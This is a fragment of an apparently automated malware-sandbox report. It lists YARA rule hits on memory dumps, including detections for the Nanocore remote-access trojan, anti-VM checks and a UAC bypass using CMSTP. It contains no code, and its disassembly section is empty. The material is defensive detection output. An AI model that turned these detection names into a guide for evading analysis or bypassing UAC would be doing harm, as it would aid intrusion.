00000014.00000002.468107743.0000000006C5C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000014.00000002.468107743.0000000006C5C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: NanoCore, Description: unknown, Source: 00000014.00000002.468107743.0000000006C5C000.00000004.00000800.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000014.00000002.416839988.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source:
00000014.00000002.416839988.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Disassembly

@ No disassembly
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